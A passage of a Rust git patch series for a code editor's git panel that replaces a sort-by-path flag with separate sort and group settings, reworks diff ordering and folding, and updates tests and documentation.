+            };
+
+            sort_entries(&mut conflict_entries);
+            sort_entries(&mut changed_entries);
+            sort_entries(&mut new_entries);
+        }
+
         let mut push_entry =
             |this: &mut Self,
              entry: GitListEntry,
@@ -3881,12 +4014,14 @@ impl GitPanel {
                         continue;
                     }
 
-                    push_entry(
-                        self,
-                        GitListEntry::Header(GitHeaderEntry { header: section }),
-                        true,
-                        Some(&mut tree_state.logical_indices),
-                    );
+                    if section != Section::Tracked || group_by_status {
+                        push_entry(
+                            self,
+                            GitListEntry::Header(GitHeaderEntry { header: section }),
+                            true,
+                            Some(&mut tree_state.logical_indices),
+                        );
+                    }
 
                     for (entry, is_visible) in
                         tree_state.build_tree_entries(section, entries, &mut seen_directories)
@@ -3900,9 +4035,14 @@ impl GitPanel {
                     }
                 }
 
+                let seen_directory_paths = seen_directories
+                    .iter()
+                    .map(|directory| directory.path.clone())
+                    .collect::<HashSet<_>>();
                 tree_state
                     .expanded_dirs
-                    .retain(|key, _| seen_directories.contains(key));
+                    .retain(|path, _| seen_directory_paths.contains(path));
+                self.tree_expanded_dirs = tree_state.expanded_dirs.clone();
                 self.view_mode = GitPanelViewMode::Tree(tree_state);
             }
             GitPanelViewMode::Flat => {
@@ -3911,7 +4051,7 @@ impl GitPanel {
                         continue;
                     }
 
-                    if section != Section::Tracked || !sort_by_path {
+                    if section != Section::Tracked || group_by_status {
                         push_entry(
                             self,
                             GitListEntry::Header(GitHeaderEntry { header: section }),
@@ -4291,7 +4431,42 @@ impl GitPanel {
                         has_staged_changes,
                         has_unstaged_changes,
                         has_new_changes,
-                        sort_by_path: GitPanelSettings::get_global(cx).sort_by_path,
+                        sort_by: GitPanelSettings::get_global(cx).sort_by,
+                        group_by: GitPanelSettings::get_global(cx).group_by,
+                        has_stash_items,
+                        tree_view: GitPanelSettings::get_global(cx).tree_view,
+                    },
+                    window,
+                    cx,
+                ))
+            })
+            .anchor(Anchor::TopRight)
+    }
+
+    fn render_view_options_menu(&self, id: impl Into<ElementId>) -> impl IntoElement {
+        let focus_handle = self.focus_handle.clone();
+        let has_tracked_changes = self.has_tracked_changes();
+        let has_staged_changes = self.has_staged_changes();
+        let has_unstaged_changes = self.has_unstaged_changes();
+        let has_new_changes = self.new_count > 0;
+        let has_stash_items = self.stash_entries.entries.len() > 0;
+
+        PopoverMenu::new(id.into())
+            .trigger(
+                IconButton::new("view-options-menu-trigger", IconName::Sliders)
+                    .icon_size(IconSize::Small)
+                    .tooltip(Tooltip::text("View Options")),
+            )
+            .menu(move |window, cx| {
+                Some(git_panel_view_options_menu(
+                    focus_handle.clone(),
+                    GitMenuState {
+                        has_tracked_changes,
+                        has_staged_changes,
+                        has_unstaged_changes,
+                        has_new_changes,
+                        sort_by: GitPanelSettings::get_global(cx).sort_by,
+                        group_by: GitPanelSettings::get_global(cx).group_by,
                         has_stash_items,
                         tree_view: GitPanelSettings::get_global(cx).tree_view,
                     },
@@ -4620,6 +4795,7 @@ impl GitPanel {
                 .child(
                     h_flex()
                         .gap_1()
+                        .child(self.render_view_options_menu("view_options_menu"))
                         .child(self.render_ellipsis_menu("overflow_menu"))
                         .child(
                             Button::new("stage_unstage_all", text)
@@ -6063,7 +6239,8 @@ impl GitPanel {
                 has_staged_changes: self.has_staged_changes(),
                 has_unstaged_changes: self.has_unstaged_changes(),
                 has_new_changes: self.new_count > 0,
-                sort_by_path: GitPanelSettings::get_global(cx).sort_by_path,
+                sort_by: GitPanelSettings::get_global(cx).sort_by,
+                group_by: GitPanelSettings::get_global(cx).group_by,
                 has_stash_items: self.stash_entries.entries.len() > 0,
                 tree_view: GitPanelSettings::get_global(cx).tree_view,
             },
@@ -6782,7 +6959,10 @@ impl Render for GitPanel {
             .when(has_write_access && has_co_authors, |git_panel| {
                 git_panel.on_action(cx.listener(Self::toggle_fill_co_authors))
             })
-            .on_action(cx.listener(Self::toggle_sort_by_path))
+            .on_action(cx.listener(Self::set_sort_by_path))
+            .on_action(cx.listener(Self::set_sort_by_name))
+            .on_action(cx.listener(Self::set_group_by_none))
+            .on_action(cx.listener(Self::set_group_by_status))
             .on_action(cx.listener(Self::toggle_tree_view))
             .on_action(cx.listener(Self::increase_font_size))
             .on_action(cx.listener(Self::decrease_font_size))
@@ -7766,7 +7946,7 @@ mod tests {
         cx.update(|_window, cx| {
             SettingsStore::update_global(cx, |store, cx| {
                 store.update_user_settings(cx, |settings| {
-                    settings.git_panel.get_or_insert_default().sort_by_path = Some(true);
+                    settings.git_panel.get_or_insert_default().sort_by = Some(GitPanelSortBy::Path);
                 })
             });
         });
@@ -8377,7 +8557,8 @@ mod tests {
         cx.update(|_window, cx| {
             SettingsStore::update_global(cx, |store, cx| {
                 store.update_user_settings(cx, |settings| {
-                    settings.git_panel.get_or_insert_default().sort_by_path = Some(true);
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::None);
                 })
             });
         });
@@ -8688,13 +8869,14 @@ mod tests {
         let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
         let panel = workspace.update_in(cx, GitPanel::new);
 
-        // Enable the `sort_by_path` setting and wait for entries to be updated,
+        // Disable status grouping and wait for entries to be updated,
         // as there should no longer be separators between Tracked and Untracked
         // files.
         cx.update(|_window, cx| {
             SettingsStore::update_global(cx, |store, cx| {
                 store.update_user_settings(cx, |settings| {
-                    settings.git_panel.get_or_insert_default().sort_by_path = Some(true);
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::None);
                 })
             });
         });
@@ -8724,6 +8906,116 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_tree_view_without_status_grouping_combines_statuses(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "src": {
+                    "main.rs": "fn main() {}",
+                    "utils.rs": "pub fn util() {}",
+                },
+                "tests": {
+                    "main_test.rs": "#[test] fn test_main() {}",
+                },
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("src/main.rs", StatusCode::Modified.worktree()),
+                ("src/utils.rs", FileStatus::Untracked),
+                ("tests/main_test.rs", StatusCode::Modified.worktree()),
+            ],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+
+        cx.executor().run_until_parked();
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    let git_panel = settings.git_panel.get_or_insert_default();
+                    git_panel.tree_view = Some(true);
+                    git_panel.group_by = Some(GitPanelGroupBy::None);
+                })
+            });
+        });
+
+        let panel = workspace.update_in(cx, GitPanel::new);
+        let handle = cx.update_window_entity(&panel, |panel, _, _| {
+            std::mem::replace(&mut panel.update_visible_entries_task, Task::ready(()))
+        });
+
+        cx.executor().advance_clock(2 * UPDATE_DEBOUNCE);
+        handle.await;
+
+        panel.read_with(cx, |panel, _| {
+            assert!(
+                panel
+                    .entries
+                    .iter()
+                    .all(|entry| !matches!(entry, GitListEntry::Header(_))),
+                "status headers should not be shown when grouping is disabled",
+            );
+
+            let tree_state = panel
+                .view_mode
+                .tree_state()
+                .expect("tree view state should exist");
+            let src_key = panel
+                .entries
+                .iter()
+                .find_map(|entry| match entry {
+                    GitListEntry::Directory(dir) if dir.key.path == repo_path("src") => {
+                        Some(&dir.key)
+                    }
+                    _ => None,
+                })
+                .expect("src directory should exist in tree view");
+            let src_descendants = tree_state
+                .directory_descendants
+                .get(src_key)
+                .expect("src descendants should be tracked");
+
+            assert!(
+                src_descendants
+                    .iter()
+                    .any(|entry| entry.repo_path == repo_path("src/main.rs"))
+            );
+            assert!(
+                src_descendants
+                    .iter()
+                    .any(|entry| entry.repo_path == repo_path("src/utils.rs"))
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_tree_view_reveals_collapsed_parent_on_select_entry_by_path(
         cx: &mut TestAppContext,
@@ -8816,7 +9108,7 @@ mod tests {
                 .view_mode
                 .tree_state()
                 .expect("tree view state should exist");
-            assert_eq!(state.expanded_dirs.get(&src_key).copied(), Some(false));
+            assert_eq!(state.expanded_dirs.get(&src_key.path).copied(), Some(false));
         });
 
         let worktree_id =
@@ -8835,7 +9127,7 @@ mod tests {
                 .view_mode
                 .tree_state()
                 .expect("tree view state should exist");
-            assert_eq!(state.expanded_dirs.get(&src_key).copied(), Some(true));
+            assert_eq!(state.expanded_dirs.get(&src_key.path).copied(), Some(true));
 
             let selected_ix = panel.selected_entry.expect("selection should be set");
             assert!(state.logical_indices.contains(&selected_ix));
@@ -8944,7 +9236,7 @@ mod tests {
                 .view_mode
                 .tree_state()
                 .expect("tree view state should exist");
-            assert_eq!(state.expanded_dirs.get(&foo_key).copied(), Some(false));
+            assert_eq!(state.expanded_dirs.get(&foo_key.path).copied(), Some(false));
 
             let foo_idx = panel
                 .entries
diff --git a/crates/git_ui/src/git_panel_settings.rs b/crates/git_ui/src/git_panel_settings.rs
index caf4b22dc45990..5d104d3fc78a11 100644
--- a/crates/git_ui/src/git_panel_settings.rs
+++ b/crates/git_ui/src/git_panel_settings.rs
@@ -2,7 +2,7 @@ use editor::{EditorSettings, ui_scrollbar_settings_from_raw};
 use gpui::Pixels;
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
-use settings::{RegisterSetting, Settings, StatusStyle};
+use settings::{GitPanelGroupBy, GitPanelSortBy, RegisterSetting, Settings, StatusStyle};
 use ui::{
     px,
     scrollbars::{ScrollbarVisibility, ShowScrollbar},
@@ -24,7 +24,8 @@ pub struct GitPanelSettings {
     pub folder_icons: bool,
     pub scrollbar: ScrollbarSettings,
     pub fallback_branch_name: String,
-    pub sort_by_path: bool,
+    pub sort_by: GitPanelSortBy,
+    pub group_by: GitPanelGroupBy,
     pub collapse_untracked_diff: bool,
     pub tree_view: bool,
     pub diff_stats: bool,
@@ -71,7 +72,8 @@ impl Settings for GitPanelSettings {
                     .map(ui_scrollbar_settings_from_raw),
             },
             fallback_branch_name: git_panel.fallback_branch_name.unwrap(),
-            sort_by_path: git_panel.sort_by_path.unwrap(),
+            sort_by: git_panel.sort_by.unwrap(),
+            group_by: git_panel.group_by.unwrap(),
             collapse_untracked_diff: git_panel.collapse_untracked_diff.unwrap(),
             tree_view: git_panel.tree_view.unwrap(),
             diff_stats: git_panel.diff_stats.unwrap(),
diff --git a/crates/git_ui/src/project_diff.rs b/crates/git_ui/src/project_diff.rs
index cd929c22e670f0..9da57975bea8cd 100644
--- a/crates/git_ui/src/project_diff.rs
+++ b/crates/git_ui/src/project_diff.rs
@@ -33,7 +33,7 @@ use project::{
         branch_diff::{self, BranchDiffEvent, DiffBase},
     },
 };
-use settings::{Settings, SettingsStore};
+use settings::{GitPanelGroupBy, GitPanelSortBy, Settings, SettingsStore};
 use std::any::{Any, TypeId};
 use std::collections::BTreeMap;
 use std::sync::Arc;
@@ -92,10 +92,6 @@ pub struct ProjectDiff {
     _subscription: Subscription,
 }
 
-const CONFLICT_SORT_PREFIX: u64 = 1;
-const TRACKED_SORT_PREFIX: u64 = 2;
-const NEW_SORT_PREFIX: u64 = 3;
-
 impl ProjectDiff {
     pub(crate) fn register(workspace: &mut Workspace, cx: &mut Context<Workspace>) {
         workspace.register_action(Self::deploy);
@@ -575,14 +571,20 @@ impl ProjectDiff {
             },
         );
 
-        let mut was_sort_by_path = GitPanelSettings::get_global(cx).sort_by_path;
+        let mut was_sort_by = GitPanelSettings::get_global(cx).sort_by;
+        let mut was_group_by = GitPanelSettings::get_global(cx).group_by;
+        let mut was_tree_view = GitPanelSettings::get_global(cx).tree_view;
         let mut was_collapse_untracked_diff =
             GitPanelSettings::get_global(cx).collapse_untracked_diff;
         cx.observe_global_in::<SettingsStore>(window, move |this, window, cx| {
-            let is_sort_by_path = GitPanelSettings::get_global(cx).sort_by_path;
-            let is_collapse_untracked_diff =
-                GitPanelSettings::get_global(cx).collapse_untracked_diff;
-            if is_sort_by_path != was_sort_by_path
+            let settings = GitPanelSettings::get_global(cx);
+            let sort_by = settings.sort_by;
+            let group_by = settings.group_by;
+            let tree_view = settings.tree_view;
+            let is_collapse_untracked_diff = settings.collapse_untracked_diff;
+            if sort_by != was_sort_by
+                || group_by != was_group_by
+                || tree_view != was_tree_view
                 || is_collapse_untracked_diff != was_collapse_untracked_diff
             {
                 this._task = {
@@ -592,7 +594,9 @@ impl ProjectDiff {
                     })
                 }
             }
-            was_sort_by_path = is_sort_by_path;
+            was_sort_by = sort_by;
+            was_group_by = group_by;
+            was_tree_view = tree_view;
             was_collapse_untracked_diff = is_collapse_untracked_diff;
         })
         .detach();
@@ -634,7 +638,7 @@ impl ProjectDiff {
             return;
         };
         let repo = git_repo.read(cx);
-        let sort_prefix = sort_prefix(repo, &entry.repo_path, entry.status, cx);
+        let sort_prefix = project_diff_sort_prefix(repo, &entry.repo_path, entry.status, cx);
         let path_key = PathKey::with_sort_prefix(sort_prefix, entry.repo_path.as_ref().clone());
 
         self.move_to_path(path_key, window, cx)
@@ -660,7 +664,7 @@ impl ProjectDiff {
             .status_for_path(&repo_path)
             .map(|entry| entry.status)
             .unwrap_or(FileStatus::Untracked);
-        let sort_prefix = sort_prefix(&git_repo.read(cx), &repo_path, status, cx);
+        let sort_prefix = project_diff_sort_prefix(&git_repo.read(cx), &repo_path, status, cx);
         let path_key = PathKey::with_sort_prefix(sort_prefix, repo_path.as_ref().clone());
         self.move_to_path(path_key, window, cx)
     }
@@ -817,7 +821,7 @@ impl ProjectDiff {
         conflict_set: Entity<ConflictSet>,
         window: &mut Window,
         cx: &mut Context<Self>,
-    ) -> Option<BufferId> {
+    ) -> (BufferId, bool) {
         let diff_subscription = cx.subscribe_in(&diff, window, {
             let path_key = path_key.clone();
             let buffer = buffer.clone();
@@ -890,7 +894,8 @@ impl ProjectDiff {
             }
         };
 
-        let mut needs_fold = None;
+        let buffer_id = snapshot.text.remote_id();
+        let mut needs_fold = false;
 
         let (was_empty, is_excerpt_newly_added) = self.editor.update(cx, |editor, cx| {
             let was_empty = editor.rhs_editor().read(cx).buffer().read(cx).is_empty();
@@ -927,7 +932,7 @@ impl ProjectDiff {
                         || (file_status.is_untracked()
                             && GitPanelSettings::get_global(cx).collapse_untracked_diff))
                 {
-                    needs_fold = Some(snapshot.text.remote_id());
+                    needs_fold = true;
                 }
             })
         });
@@ -949,7 +954,7 @@ impl ProjectDiff {
             self.move_to_path(path_key, window, cx);
         }
 
-        needs_fold
+        (buffer_id, needs_fold)
     }
 
     fn buffer_ranges_changed(
@@ -990,14 +995,38 @@ impl ProjectDiff {
                 .buffers_with_paths()
                 .map(|(buffer_snapshot, path_key)| (path_key.clone(), buffer_snapshot.remote_id()))
                 .collect::<HashMap<_, _>>();
+            let previous_folded_paths = {
+                let snapshot = this.multibuffer.read(cx).snapshot(cx);
+                let rhs_editor = this.editor.read(cx).rhs_editor().clone();
+                snapshot
+                    .buffers_with_paths()
+                    .map(|(buffer_snapshot, path_key)| {
+                        (
+                            path_key.path.clone(),
+                            rhs_editor
+                                .read(cx)
+                                .is_buffer_folded(buffer_snapshot.remote_id(), cx),
+                        )
+                    })
+                    .collect::<HashMap<_, _>>()
+            };
 
             let mut entries = BTreeMap::new();
             if let Some(repo) = repo {
                 let repo = repo.read(cx);
+                let sort_prefixes = project_diff_sort_prefixes(
+                    &repo,
+                    buffers_to_load
+                        .iter()
+                        .map(|diff_buffer| (&diff_buffer.repo_path, diff_buffer.file_status)),
+                    cx,
+                );
 
                 for diff_buffer in buffers_to_load {
-                    let sort_prefix =
-                        sort_prefix(&repo, &diff_buffer.repo_path, diff_buffer.file_status, cx);
+                    let sort_prefix = sort_prefixes
+                        .get(&diff_buffer.repo_path)
+                        .copied()
+                        .unwrap_or(u64::MAX);
                     let path_key = PathKey::with_sort_prefix(
                         sort_prefix,
                         diff_buffer.repo_path.as_ref().clone(),
@@ -1019,10 +1048,12 @@ impl ProjectDiff {
                 }
             });
 
-            entries
+            (entries, previous_folded_paths)
         })?;
 
+        let (entries, previous_folded_paths) = entries;
         let mut buffers_to_fold = Vec::new();
+        let mut buffers_to_unfold = Vec::new();
 
         for (path_key, entry) in entries {
             if let Some((buffer, diff, conflict_set)) = entry.load.await.log_err() {
@@ -1031,7 +1062,8 @@ impl ProjectDiff {
                 yield_now().await;
                 cx.update(|window, cx| {
                     this.update(cx, |this, cx| {
-                        if let Some(buffer_id) = this.register_buffer(
+                        let path = path_key.path.clone();
+                        let (buffer_id, needs_fold) = this.register_buffer(
                             path_key,
                             entry.file_status,
                             buffer,
@@ -1039,7 +1071,14 @@ impl ProjectDiff {
                             conflict_set,
                             window,
                             cx,
-                        ) {
+                        );
+                        if let Some(was_folded) = previous_folded_paths.get(&path) {
+                            if *was_folded {
+                                buffers_to_fold.push(buffer_id);
+                            } else {
+                                buffers_to_unfold.push(buffer_id);
+                            }
+                        } else if needs_fold {
                             buffers_to_fold.push(buffer_id);
                         }
                     })
@@ -1055,6 +1094,15 @@ impl ProjectDiff {
                         .update(cx, |editor, cx| editor.fold_buffers(buffers_to_fold, cx));
                 });
             }
+            if !buffers_to_unfold.is_empty() {
+                this.editor.update(cx, |editor, cx| {
+                    editor.rhs_editor().update(cx, |editor, cx| {
+                        for buffer_id in buffers_to_unfold {
+                            editor.unfold_buffer(buffer_id, cx);
+                        }
+                    });
+                });
+            }
             this.pending_scroll.take();
             cx.notify();
         })?;
@@ -1085,17 +1133,125 @@ impl ProjectDiff {
     }
 }
 
-fn sort_prefix(repo: &Repository, repo_path: &RepoPath, status: FileStatus, cx: &App) -> u64 {
+fn project_diff_sort_prefix(
+    repo: &Repository,
+    repo_path: &RepoPath,
+    status: FileStatus,
+    cx: &App,
+) -> u64 {
+    let mut entries = repo
+        .cached_status()
+        .map(|entry| (entry.repo_path.clone(), entry.status))
+        .collect::<Vec<_>>();
+    if !entries
+        .iter()
+        .any(|(entry_path, _status)| entry_path == repo_path)
+    {
+        entries.push((repo_path.clone(), status));
+    }
+
+    project_diff_sort_prefixes(
+        repo,
+        entries.iter().map(|(path, status)| (path, *status)),
+        cx,
+    )
+    .get(repo_path)
+    .copied()
+    .unwrap_or(u64::MAX)
+}
+
+fn project_diff_sort_prefixes<'a>(
+    repo: &Repository,
+    entries: impl IntoIterator<Item = (&'a RepoPath, FileStatus)>,
+    cx: &App,
+) -> HashMap<RepoPath, u64> {
     let settings = GitPanelSettings::get_global(cx);
+    let group_by_status = settings.group_by == GitPanelGroupBy::Status;
+
+    let mut conflict_entries = Vec::new();
+    let mut tracked_entries = Vec::new();
+    let mut new_entries = Vec::new();
+
+    for (repo_path, status) in entries {
+        let entry = (repo_path.clone(), status);
+        if group_by_status && repo.had_conflict_on_last_merge_head_change(repo_path) {
+            conflict_entries.push(entry);
+        } else if group_by_status && status.is_created() {
+            new_entries.push(entry);
+        } else {
+            tracked_entries.push(entry);
+        }
+    }
 
-    if settings.sort_by_path && !settings.tree_view {
-        TRACKED_SORT_PREFIX
-    } else if repo.had_conflict_on_last_merge_head_change(repo_path) {
-        CONFLICT_SORT_PREFIX
-    } else if status.is_created() {
-        NEW_SORT_PREFIX
-    } else {
-        TRACKED_SORT_PREFIX
+    let mut ordered_paths = Vec::new();
+    for mut section_entries in [conflict_entries, tracked_entries, new_entries] {
+        if settings.tree_view {
+            append_tree_order(&mut ordered_paths, section_entries);
+        } else {
+            sort_flat_entries(&mut section_entries, settings.sort_by);
+            ordered_paths.extend(
+                section_entries
+                    .into_iter()
+                    .map(|(repo_path, _status)| repo_path),
+            );
+        }
+    }
+
+    ordered_paths
+        .into_iter()
+        .enumerate()
+        .map(|(index, repo_path)| (repo_path, index as u64 + 1))
+        .collect()
+}
+
+fn sort_flat_entries(entries: &mut [(RepoPath, FileStatus)], sort_by: GitPanelSortBy) {
+    match sort_by {
+        GitPanelSortBy::Path => entries.sort_by(|(a_path, _), (b_path, _)| a_path.cmp(b_path)),
+        GitPanelSortBy::Name => entries.sort_by(|(a_path, _), (b_path, _)| {
+            a_path
+                .file_name()
+                .cmp(&b_path.file_name())
+                .then_with(|| a_path.cmp(b_path))
+        }),
+    }
+}
+
+fn append_tree_order(ordered_paths: &mut Vec<RepoPath>, mut entries: Vec<(RepoPath, FileStatus)>) {
+    entries.sort_by(|(a_path, _), (b_path, _)| a_path.cmp(b_path));
+
+    let mut root = ProjectDiffTreeNode::default();
+    for (repo_path, _status) in entries {
+        let components: Vec<&str> = repo_path.components().collect();
+        if components.is_empty() {
+            root.files.push(repo_path);
+            continue;
+        }
+
+        let mut current = &mut root;
+        for (index, component) in components.iter().enumerate() {
+            if index == components.len() - 1 {
+                current.files.push(repo_path.clone());
+            } else {
+                current = current.children.entry((*component).into()).or_default();
+            }
+        }
+    }
+
+    root.append_ordered_paths(ordered_paths);
+}
+
+#[derive(Default)]
+struct ProjectDiffTreeNode {
+    children: BTreeMap<String, ProjectDiffTreeNode>,
+    files: Vec<RepoPath>,
+}
+
+impl ProjectDiffTreeNode {
+    fn append_ordered_paths(self, ordered_paths: &mut Vec<RepoPath>) {
+        for child in self.children.into_values() {
+            child.append_ordered_paths(ordered_paths);
+        }
+        ordered_paths.extend(self.files);
     }
 }
 
@@ -2119,7 +2275,7 @@ mod tests {
 
         let editor = cx.update_window_entity(&diff, |diff, window, cx| {
             diff.move_to_path(
-                PathKey::with_sort_prefix(TRACKED_SORT_PREFIX, rel_path("foo").into_arc()),
+                PathKey::with_sort_prefix(2, rel_path("foo").into_arc()),
                 window,
                 cx,
             );
@@ -2140,7 +2296,7 @@ mod tests {
 
         let editor = cx.update_window_entity(&diff, |diff, window, cx| {
             diff.move_to_path(
-                PathKey::with_sort_prefix(TRACKED_SORT_PREFIX, rel_path("bar").into_arc()),
+                PathKey::with_sort_prefix(1, rel_path("bar").into_arc()),
                 window,
                 cx,
             );
@@ -2667,7 +2823,15 @@ mod tests {
             &editor,
             cx,
             &"
-                  ˇnine
+                  ˇone
+                  two
+                  three
+                  four
+                  five
+                  six
+                  seven
+                  eight
+                  nine
                   ten
                 - eleven
                 + ELEVEN
@@ -2714,13 +2878,16 @@ mod tests {
             &editor,
             cx,
             &"
-                  one
+                  ˇone
                 - two
                 + TWO
                   three
                   four
                   five
-                  ˇnine
+                  six
+                  seven
+                  eight
+                  nine
                   ten
                 - eleven
                 + ELEVEN
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index fcb0ddcc650ff9..b32a86ca45d40e 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -678,11 +678,15 @@ pub struct GitPanelSettingsContent {
     /// Default: main
     pub fallback_branch_name: Option<String>,
 
-    /// Whether to sort entries in the panel by path
-    /// or by status (the default).
+    /// How to sort entries in the git panel.
     ///
-    /// Default: false
-    pub sort_by_path: Option<bool>,
+    /// Default: path
+    pub sort_by: Option<GitPanelSortBy>,
+
+    /// How to group entries in the git panel.
+    ///
+    /// Default: status
+    pub group_by: Option<GitPanelGroupBy>,
 
     /// Whether to collapse untracked files in the diff panel.
     ///
@@ -716,6 +720,48 @@ pub struct GitPanelSettingsContent {
     pub commit_title_max_length: Option<usize>,
 }
 
+#[derive(
+    Copy,
+    Clone,
+    Debug,
+    Default,
+    Serialize,
+    Deserialize,
+    JsonSchema,
+    MergeFrom,
+    PartialEq,
+    Eq,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum GitPanelSortBy {
+    #[default]
+    Path,
+    Name,
+}
+
+#[derive(
+    Copy,
+    Clone,
+    Debug,
+    Default,
+    Serialize,
+    Deserialize,
+    JsonSchema,
+    MergeFrom,
+    PartialEq,
+    Eq,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum GitPanelGroupBy {
+    None,
+    #[default]
+    Status,
+}
+
 #[derive(
     Default,
     Copy,
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 83833a4a78744f..80261bb0da9fdb 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -5776,7 +5776,7 @@ fn panels_page() -> SettingsPage {
         ]
     }
 
-    fn git_panel_section() -> [SettingsPageItem; 15] {
+    fn git_panel_section() -> [SettingsPageItem; 16] {
         [
             SettingsPageItem::SectionHeader("Git Panel"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -5869,19 +5869,28 @@ fn panels_page() -> SettingsPage {
                 files: USER,
             }),
             SettingsPageItem::SettingItem(SettingItem {
-                title: "Sort By Path",
-                description: "Enable to sort entries in the panel by path, disable to sort by status.",
+                title: "Sort By",
+                description: "How to sort entries in the git panel.",
                 field: Box::new(SettingField {
                     organization_override: None,
-                    json_path: Some("git_panel.sort_by_path"),
-                    pick: |settings_content| {
-                        settings_content.git_panel.as_ref()?.sort_by_path.as_ref()
+                    json_path: Some("git_panel.sort_by"),
+                    pick: |settings_content| settings_content.git_panel.as_ref()?.sort_by.as_ref(),
+                    write: |settings_content, value, _| {
+                        settings_content.git_panel.get_or_insert_default().sort_by = value;
                     },
+                }),
+                metadata: None,
+                files: USER,
+            }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Group By",
+                description: "How to group entries in the git panel.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("git_panel.group_by"),
+                    pick: |settings_content| settings_content.git_panel.as_ref()?.group_by.as_ref(),
                     write: |settings_content, value, _| {
-                        settings_content
-                            .git_panel
-                            .get_or_insert_default()
-                            .sort_by_path = value;
+                        settings_content.git_panel.get_or_insert_default().group_by = value;
                     },
                 }),
                 metadata: None,
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 8e98af5cca4315..6e45adc0f4bec1 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -600,6 +600,8 @@ fn init_renderers(cx: &mut App) {
         .add_basic_renderer::<settings::ThinkingBlockDisplay>(render_dropdown)
         .add_basic_renderer::<settings::ImageFileSizeUnit>(render_dropdown)
         .add_basic_renderer::<settings::StatusStyle>(render_dropdown)
+        .add_basic_renderer::<settings::GitPanelSortBy>(render_dropdown)
+        .add_basic_renderer::<settings::GitPanelGroupBy>(render_dropdown)
         .add_basic_renderer::<settings::EncodingDisplayOptions>(render_dropdown)
         .add_basic_renderer::<settings::PaneSplitDirectionHorizontal>(render_dropdown)
         .add_basic_renderer::<settings::PaneSplitDirectionVertical>(render_dropdown)
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index c78e7c92eb0fc7..1045c09996a6f8 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -5386,7 +5386,8 @@ See the [debugger page](../debugger.md) for more information about debugging sup
     "default_width": 360,
     "status_style": "icon",
     "fallback_branch_name": "main",
-    "sort_by_path": false,
+    "sort_by": "path",
+    "group_by": "status",
     "collapse_untracked_diff": false,
     "scrollbar": {
       "show": null
@@ -5403,7 +5404,8 @@ See the [debugger page](../debugger.md) for more information about debugging sup
 - `default_width`: Default width of the git panel
 - `status_style`: How to display git status. Can be `label_color` or `icon`
 - `fallback_branch_name`: What branch name to use if `init.defaultBranch` is not set
-- `sort_by_path`: Whether to sort entries in the panel by path or by status (the default)
+- `sort_by`: How to sort entries in the git panel. Can be `path` or `name`
+- `group_by`: How to group entries in the git panel. Can be `none` or `status`
 - `collapse_untracked_diff`: Whether to collapse untracked files in the diff panel
 - `scrollbar`: When to show the scrollbar in the git panel
 - `starts_open`: Whether the git panel should open on startup
diff --git a/docs/src/visual-customization.md b/docs/src/visual-customization.md
index c05a4916a86677..bff03dea5dd695 100644
--- a/docs/src/visual-customization.md
+++ b/docs/src/visual-customization.md
@@ -559,7 +559,8 @@ See [Terminal settings](./reference/all-settings.md#terminal) for additional non
     "dock": "left",               // Where to dock: left, right
     "default_width": 360,         // Default width of the git panel.
     "status_style": "icon",       // label_color, icon
-    "sort_by_path": false,        // Sort by path (false) or status (true)
+    "sort_by": "path",            // path, name
+    "group_by": "status",         // none, status
     "scrollbar": {
       "show": null                // Show/hide: (auto, system, always, never)
     }

From e25e52be87fe6329b38fc38abd0bcd87f0d379c8 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Mon, 22 Jun 2026 05:20:08 +0530
Subject: [PATCH 017/772] git_panel: Add Git actions in split button (#59608)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Improve the Git panel changes header by making the Stage All / Unstage
All control more consistent with other split-button actions in the Git
panel, such as the Fetch/Pull button.

## Solution

- Replaced the standalone Stage All / Unstage All button with a split
button.
- Kept the primary action context-sensitive, switching between Stage All
and Unstage All.
- Moved related Git change actions into the split-button menu: staging,
stashing, discard tracked changes, and trash untracked files.

## Testing

- Ran `cargo fmt --check`.
- Ran `cargo check -p git_ui`.
- Manually verified the Git panel dropdown behavior in the app.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
